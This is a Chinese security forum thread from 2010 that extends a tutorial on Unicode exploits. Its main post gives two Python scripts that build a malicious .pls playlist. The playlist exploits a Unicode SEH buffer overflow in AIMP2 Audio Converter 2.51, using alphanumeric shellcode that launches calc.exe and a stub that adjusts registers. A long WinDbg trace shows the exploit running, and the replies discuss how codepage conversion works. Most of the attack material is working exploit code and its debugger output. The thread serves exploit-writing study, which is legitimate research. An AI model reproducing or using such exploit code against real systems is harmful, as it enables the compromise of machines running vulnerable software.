首页
社区
课程
招聘
[原创]对《编写unicode exploit》一文的补充之二
发表于: 2010-12-10 18:40 17555

[原创]对《编写unicode exploit》一文的补充之二

2010-12-10 18:40
17555

标题:对《编写unicode exploit》一文的补充之二
作者:wingdbg
主页:http://wingdbg.blog.com/

《编写Unicode Exploit》原文地址:http://bbs.pediy.com/showthread.php?t=120637
《编写unicode exploit一文的补充之一》(by riusksk(泉哥)):http://bbs.pediy.com/showthread.php?t=121281

一、背景
    在学习完泉哥翻译的《Exploit 编写系列教程第七篇:编写Unicode Exploit》之后,又学习了泉哥补充的《编写unicode exploit一文的补充》,在教程中所给的两个例子中,泉哥通过第一个漏洞实例( Xion Audio Player 1.0 build 121)   说明ret(hex: C3)指令在经过Unicode拷贝之后,不会变成C300。(参见https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf)
    泉哥在补充一文中发现这是由于原作者在实验时采用xp sp3 en版本的系统,unicode codepage / language/regional settings 的不同,直接导致我们在自己的中文 XP SP3机器上转换时,C3无法转换为C300,从而导致溢出payload的失败。

二、目的
    笔者认为在中文XP SP3上机器由ASCII转化成UNICODE的结果,并不简简单单是由于unicode codepage / language/regional settings 的不同。字符的转化还跟字符所在字符串有关系。
    在此种假设之下,也许我们通过输入不同类型的字符串,会导致转换后的结果有出现C3的可能,从而导致我们跳转到Unicode Shellcode成功。
    如果我们实验成功,我们可以进一步探讨ASCII字符(从'\x00'到'\xFF')在XP SP3 cn中文机器上到底是如何转换成为Unicode的。是什么原因直接导致了它和英文系统转换对应的不同。同时,也是对Unicode Exploit的一种补充。

三、实验
    实验环境:
    XP SP3 pro 中文版
    WinDbg 6.12.2.633 X86(http://download.csdn.net/source/2519777)
    Immunity Debugger 1.73(www.shandongkv.com/123/ImmunityDebugger_setup1.73.rar)
    pvefindaddr插件(www.shandongkv.com/123/pvefindaddr.rar)
   
    漏洞软件:
    AIMP2 Audio Converter 2.51 build 330(www.shandongkv.com/123/aimp_2.51.330.zip)

   闲话少说,看代码:

#-------------------------------------------------------------------------------
# Name:        AIMP2 Audio Converter 2.51 build 330 Unicode缓冲区溢出
# Purpose:      study unicode stack vulnerability
#
# Author:      wingdbg
#
# Created:     09-12-2010
# Copyright:   (c) wingdbg 2010
# Licence:     <wingdbg@gmail.com>
#-------------------------------------------------------------------------------
#!/usr/bin/env python

def main():
    header = '[playlist]\nNumberOfEntries=1\n\n'
    header = header + 'File1='
    junk = 'A' * 101   # this make sure that after SEH is executed as commands, EDI+0x500 points to shellcode

    #calc.exe
    shellcode  = "PPYAIAIAIAIAQATAXAZAPA3QADAZA"
    shellcode += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
    shellcode += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"
    shellcode += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"
    shellcode += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"
    shellcode += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"
    shellcode += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"
    shellcode += "NQKONQ90***Q8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"
    shellcode += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"
    shellcode += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"
    shellcode += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"
    shellcode += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
    shellcode += "QQ2LRCM0LJA"

    moreJunk = 'A' * (4037 - len(junk + shellcode))

    nSEH = '\x61\x62'   #---0x00340012
    SEH = '\x34\x46'    #---0x00460034  X:\Program Files\AIMP2\AIMP2.dll  pop ecx - pop ebp - ret

    preShell  = '\x6e'      #废指令 ADD BYTE PTR DS:[ESI],CH
    preShell += '\x57'      #push edi
    preShell += '\x6e'
    preShell += '\x58'      #pop eax
    preShell += '\x6e'
    preShell += '\x05\x16\x11'  #add eax, 0x011001600
    preShell += '\x6e'
    preShell += '\x2d\x11\x11'  # sub  eax,0x11001100
    preShell += '\x6e'
    preShell += '\x50'          #push eax
    preShell += '\x6e'
    preShell += '[COLOR="Red"]\xC3[/COLOR]'          #ret

    [COLOR="Yellow"]dump ='\x41' * (297- len(preShell))   #---dump that is longer is useless[/COLOR]
    payload = header + junk + shellcode + moreJunk + nSEH + SEH + preShell + dump +'\n'

    o_file = open('aimp2sploit.pls','w')
    o_file.write(payload)
    o_file.close()

if __name__ == '__main__':
    main()
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001b5668 ebx=00000000 ecx=001a4220 edx=00000ebf esi=001a421e edi=00130000
eip=00453020 esp=0012dcac ebp=0012dd64 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
*** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\AIMP2\AIMP2.dll - 
AIMP2!SysutilsWideFormatBuf$qqrpvuipxvuipx14SystemTVarRecxi+0x3c:
00453020 66ab            stos    word ptr es:[edi]        es:0023:00130000=6341
0:000> !exchain
0012fda0: AIMP2!VariantsVarToInteger$qqrrx8TVarData+4fc (00460034)
Invalid exception stack at 00620061
0:000> d 0012fda0
0012fda0  61 00 62 00 34 00 46 00-6e 00 57 00 6e 00 58 00  a.b.4.F.n.W.n.X.
0012fdb0  6e 00 05 00 16 00 11 00-6e 00 2d 00 11 00 11 00  n.......n.-.....
0012fdc0  6e 00 50 00 6e 00 [COLOR="Red"]81 80[/COLOR]-41 00 41 00 41 00 41 00  n.P.n...A.A.A.A.
0012fdd0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012fde0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012fdf0  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012fe00  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0012fe10  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
0:000> bp 00460034
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00460034 edx=7c9232bc esi=00000000 edi=00000000
eip=00460034 esp=0012d8dc ebp=0012d8fc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fc:
00460034 59              pop     ecx
0:000> t
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=00460035 esp=0012d8e0 ebp=0012d8fc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fd:
00460035 5d              pop     ebp
0:000> t
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=00460036 esp=0012d8e4 ebp=0012d9c4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fe:
00460036 c3              ret
0:000> t
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=0012fda0 esp=0012d8e8 ebp=0012d9c4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
0012fda0 61              popad
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0
eip=0012fda1 esp=0012d908 ebp=0012fda0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
0012fda1 006200          add     byte ptr [edx],ah          ds:0023:0012d9ac=64
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0
eip=0012fda4 esp=0012d908 ebp=0012fda0 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200203
0012fda4 3400            xor     al,0
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0
eip=0012fda6 esp=0012d908 ebp=0012fda0 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200282
0012fda6 46              inc     esi
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fda7 esp=0012d908 ebp=0012fda0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
0012fda7 006e00          add     byte ptr [esi],ch          ds:0023:0012d999=b1
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdaa esp=0012d908 ebp=0012fda0 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200282
0012fdaa 57              push    edi
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdab esp=0012d904 ebp=0012fda0 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200282
0012fdab 006e00          add     byte ptr [esi],ch          ds:0023:0012d999=e3
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdae esp=0012d904 ebp=0012fda0 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200203
0012fdae 58              pop     eax
0:000> t
eax=0012d9e0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdaf esp=0012d908 ebp=0012fda0 iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200203
0012fdaf 006e00          add     byte ptr [esi],ch          ds:0023:0012d999=15
0:000> t
eax=0012d9e0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdb2 esp=0012d908 ebp=0012fda0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
0012fdb2 0500160011      add     eax,offset bass+0x1600 (11001600)
0:000> t
eax=1112efe0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdb7 esp=0012d908 ebp=0012fda0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
0012fdb7 006e00          add     byte ptr [esi],ch          ds:0023:0012d999=47
0:000> t
eax=1112efe0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdba esp=0012d908 ebp=0012fda0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
0012fdba 2d00110011      sub     eax,offset bass+0x1100 (11001100)
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdbf esp=0012d908 ebp=0012fda0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
0012fdbf 006e00          add     byte ptr [esi],ch          ds:0023:0012d999=79
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdc2 esp=0012d908 ebp=0012fda0 iopl=0         ov up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200a82
0012fdc2 50              push    eax
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdc3 esp=0012d904 ebp=0012fda0 iopl=0         ov up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200a82
0012fdc3 006e00          add     byte ptr [esi],ch          ds:0023:0012d999=ab
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdc6 esp=0012d904 ebp=0012fda0 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
0012fdc6 81804100410041004100 [COLOR="Red"]add dword ptr image00400000+0x10041 (00410041)[eax],offset image00400000+0x10041 (00410041) ds:0023:0053df21=fc858b2a[/COLOR]
#-------------------------------------------------------------------------------
# Name:        AIMP2 Audio Converter 2.51 build 330 Unicode缓冲区溢出
# Purpose:      study unicode stack vulnerability
#
# Author:      wingdbg
#
# Created:     09-12-2010
# Copyright:   (c) wingdbg 2010
# Licence:     <wingdbg@gmail.com>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
[COLOR="red"]def buildstr():[/COLOR]
    i = 0x70
    j = 0x70
    string = chr(i) + chr(j)
    while i < 0xff:
        j = 0x70
        while j <0xff:
            j = j + 1
            string = string + chr(i) + chr(j)
        i = i +1
    return string

def main():
    header = '[playlist]\nNumberOfEntries=1\n\n'
    header = header + 'File1='
    junk = 'A' * 101   # this make sure that after SEH is executed as commands, EDI+0x500 points to shellcode

    #calc.exe
    shellcode  = "PPYAIAIAIAIAQATAXAZAPA3QADAZA"
    shellcode += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
    shellcode += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"
    shellcode += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"
    shellcode += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"
    shellcode += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"
    shellcode += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"
    shellcode += "NQKONQ90***Q8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"
    shellcode += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"
    shellcode += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"
    shellcode += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"
    shellcode += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
    shellcode += "QQ2LRCM0LJA"

    moreJunk = 'A' * (4037 - len(junk + shellcode))

    nSEH = '\x61\x62'   #---0x00340012
    SEH = '\x34\x46'    #---0x00460034  X:\Program Files\AIMP2\AIMP2.dll  pop ecx - pop ebp - ret

    preShell  = '\x6e'      #废指令 ADD BYTE PTR DS:[ESI],CH
    preShell += '\x57'      #push edi
    preShell += '\x6e'
    preShell += '\x58'      #pop eax
    preShell += '\x6e'
    preShell += '\x05\x16\x11'  #add eax, 0x011001600
    preShell += '\x6e'
    preShell += '\x2d\x11\x11'  # sub  eax,0x11001100
    preShell += '\x6e'
    preShell += '\x50'          #push eax
    preShell += '\x6e'
[COLOR="Yellow"]#    preShell += '\xC3'          #ret[/COLOR]

#    dump ='\x41' * (297- len(preShell))   #---dump that is longer is useless
[COLOR="Red"]    dump0 = buildstr();
    dump = dump0[0:282][/COLOR]  #接下来可以为[282:282*2]……

    payload = header + junk + shellcode + moreJunk + nSEH + SEH + preShell + dump +'\n'

    o_file = open('aimp2sploit.pls','w')
    o_file.write(payload)
    o_file.close()

if __name__ == '__main__':
    main()

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (20)
雪    币: 1919
活跃值: (901)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
2
支持了再学习
2010-12-10 20:29
0
雪    币: 393
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
3
嗯,呵呵。大家共同探讨。
2010-12-10 20:44
0
雪    币: 615
活跃值: (1202)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
NtCreateSection->MmCreateSection->MiRelocateImage的一个BUG,系统在重定位 镜像时会从重定位表COPY 0XC个字节到镜像基址(被映射到SYSTEM CACHE) + 重定位表VA的地址, 但没检查重定位表VA是否超出镜像大小,导致BSOD
2010-12-10 21:42
0
雪    币: 393
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
5
不大明白啊,这根字符串Unicode转换有什么关系么?
2010-12-11 12:01
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
6
写得不错,支持一下!
文中c3前后构造的指令跟我的情况是一样的,但经unicode转换后明显不一样,不排除存在操作环境或设置的差异性。至于字符的转化跟字符所在字符串是否有关系,这个我也不太清楚,没有实验过。不过你文本中所使用的方法,也不失为一种寻找ret指令的好方法,值得借鉴,呵呵……
至于xzchina所说的问题,我也不太明白,希望可以解释一下。
2010-12-11 16:04
0
雪    币: 393
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
7
谢谢,呵呵。本来想提升一下层次,探讨一下Unicode在中文系统下的转换问题。可是水平有限。一直希望有对应用程序编写比较熟悉的牛人来指导一下。看看这个转换究竟是怎么回事。呵呵
2010-12-11 16:51
0
雪    币: 14
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
向楼主学些学习
2010-12-13 10:46
0
雪    币: 4902
活跃值: (120)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
支持
来学习了。。
2010-12-19 20:04
0
雪    币: 393
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
10
我去,这么多Kx
2010-12-20 09:07
0
雪    币: 139
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
11
不好意思,我曾经研究和移植过iconv开源库,这是目前最流行最强大的开源字符转换库,你研究一下他的源代码就会明白你的猜测:“字符的转化还跟字符所在字符串有关系”,是什么原因了。简单来说,是由源字符串的编码格式决定的,在windows操作系统上源字符串的编码格式就是所谓的codepage.

codepage是虾米玩意呢?简单的说就是微软对各个国家的标准字符集的一种修改或叫山寨。比如简体中文版windows操作系统的默认字符集是cp936,所谓的cp936其实是对GBK的扩展,所谓的GBK又是对GB2312的扩展,搞计算机的估计对GB2312很熟悉,因为课本上讲字符集就讲得这个。可以用下面的命名查看当前的字符集:
D:\>chcp
Active code page: 936
2010-12-20 11:15
0
雪    币: 139
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
12
接上。。。。。

上面说到了字符集,那和字符编码是啥关系呢?比如“愛"这个字,在台湾,香港,大陆的windows操作系统上都可以打出来,但是保存成普通的.txt文档,再换到别的机器打开可能就是乱码的。计算机不识别任何字符,只识别编码,所谓编码就是字符在不同字符集中的编号而已。"爱"在big5,gb18030,HKSCS,utf-8等字符集中的编号不一样。
那么什么是宽字符呢?widechar?unicode?都语嫣不详啊。其实unicode有两层含义,第一丛是指的字符集,在ISO/IEC 10646标准中定义,就是"全球所有语言"(肯定有很多遗漏的)中出现的字符的集合。所以我们说unicode可以表示所有的字符。第二丛含义是utf-16,unicode中这么多的字符怎么表示呢?这就涉及到对这些字符的编码方案,有很多种,比如utf-7,utf-8,utf-16,utf-32,我们说的宽字符就是unicode字符集的utf-16编码方案,在该方案中,绝大部分字符被编码成两个字节,极少数字母被编码成4字节。
MultiByteToWideChar()这个系统函数是干啥的呢?其实就是实现两个编码系统的映射,如此而已,本质上没有什么神秘的。当然了实际操作过程中,要处理的特殊情况特别多而已。比如“愛”这个字在cp936中编号是90db, multibytetowidechar()后是1b61或者611b(由BOM决定)。“愛”在big5中编号是b752,使用multibytetowidechar()(参数要正确)后也是611b。。当然了这些转换肯定也不是查查表那么简单的,因为ucs-4在定义时时充分考虑了各个国家现行的字符集编码方案的。
上面罗嗦了一大通,没到点子上。。。。其实字符编码这事不简单,可以写成一本书。。。再涉及到字体,也就是字符的呈现上就更不简单了。。。
2010-12-20 11:16
0
雪    币: 139
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
13
现在说说为什么C3在有些系统上会被multibytetowidechar()翻译成c3 00(00 c3),而有的系统则不然。。。很明显是由于原字符编码不一样。
使用multibytetowidechar()方法若参数CodePage=0,就会使用当前编码页。。。
具体来说c3这个字符是?,
其在unicode中的编码是\u00c3,在gbk、ascii等中未定义,在iso8859-9中的编码是\xc3。。
>>> s=u'\u00c3'
>>> s.encode('gbk')

Traceback (most recent call last):
  File "<pyshell#31>", line 1, in <module>
    s.encode('gbk')
UnicodeEncodeError: 'gbk' codec can't encode character u'\xc3' in position 0: illegal multibyte sequence
>>> s.encode('ascii')

Traceback (most recent call last):
  File "<pyshell#32>", line 1, in <module>
    s.encode('ascii')
UnicodeEncodeError: 'ascii' codec can't encode character u'\xc3' in position 0: ordinal not in range(128)
>>> s.encode('iso8859-9')
'\xc3'


对于楼主所举得例子“\x72\xcb\x72”,使用cp936解码之后为
>>> s='\x72\xcb\x72'
>>> s.decode('cp936')
u'r\u85c3'


不知道我说明白了没有。。。网络限制,打出来一大篇。。。。只能一段段贴上来。
2010-12-20 11:17
0
雪    币: 139
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
14
我觉得我应该另起一贴,叫【原创】对《编写unicode exploit》一文的补充之,哈哈,说不定也能挣个精华什么的~~~~~
2010-12-20 11:19
0
雪    币: 393
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
15
[QUOTE=pearkiller;904949]我觉得我应该另起一贴,叫【原创】对《编写unicode exploit》一文的补充之,哈哈,说不定也能挣个精华什么的~~~~~[/QUOTE]

我觉得你这个想法很靠谱。

有两点不明白:
第一,编码转换大致是如何进行的,这个实验表明它肯定不是一对一的转换。那么,它是几个字节结合到一起去转换么?(其实就是明确回答一下我的猜想到底是什么缘故——“字符的转化还跟字符所在字符串有关系”)

第二,编码转换之后,字符的显示是不是也有一个转换的过程,希望提供资料,或者大致说一下原理。

你可以写一篇日志探讨挑战指令在Unicode Exploit里面的通用字符表示),如果你能找到这样一串二进制,无论通过什么样的本地codepage,转换后的二进制反汇编出ret、jmp或者其他的跳转指令。我觉得你功德无量,而且史无前例啊。

或者,你也可以探讨一下版本通用性的各种实用方法。期待中
2010-12-20 15:28
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
16
[QUOTE=pearkiller;904949]我觉得我应该另起一贴,叫【原创】对《编写unicode exploit》一文的补充之,哈哈,说不定也能挣个精华什么的~~~~~[/QUOTE]

占座学习,强烈建议你出补充之三
2010-12-20 18:12
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
17
这个相当有难度,这么多种codepage类型,找到个通用指令的可能性相当低啊!
2010-12-20 18:14
0
雪    币: 393
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
18
所以我觉得如果能成功找出一个真是功德无量,史无前例。不亚于fuzz出一个0day的。
2010-12-20 18:44
0
雪    币: 121
活跃值: (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
菜鸟占楼学习一下 原文都还没学完 补充都出了好几篇了。。。
2010-12-21 10:26
0
雪    币: 622
活跃值: (65)
能力值: ( LV13,RANK:290 )
在线值:
发帖
回帖
粉丝
20
每个漏洞都是特定的codepage,并且可以很简单的针对这种既定情况找出应对方案,我认为所谓通用指令没有太大意义。
2010-12-21 12:08
0
雪    币: 393
活跃值: (150)
能力值: (RANK:110 )
在线值:
发帖
回帖
粉丝
21
针对既定情况找出应对方案,问题是没有一个通用的或者标准的方法来实现。也许我在本文中通过字符串暴力搜索算是一种,但是不确定性太大。希望有真的大牛来讲一讲制式的方法,就如同写Unicode Shellcode本来是件很难的事,但是由于有Alpha 2编码,使得我们写Unicode shellcode轻松的多。
2010-12-21 16:24
0
游客
登录 | 注册 方可回帖
返回
//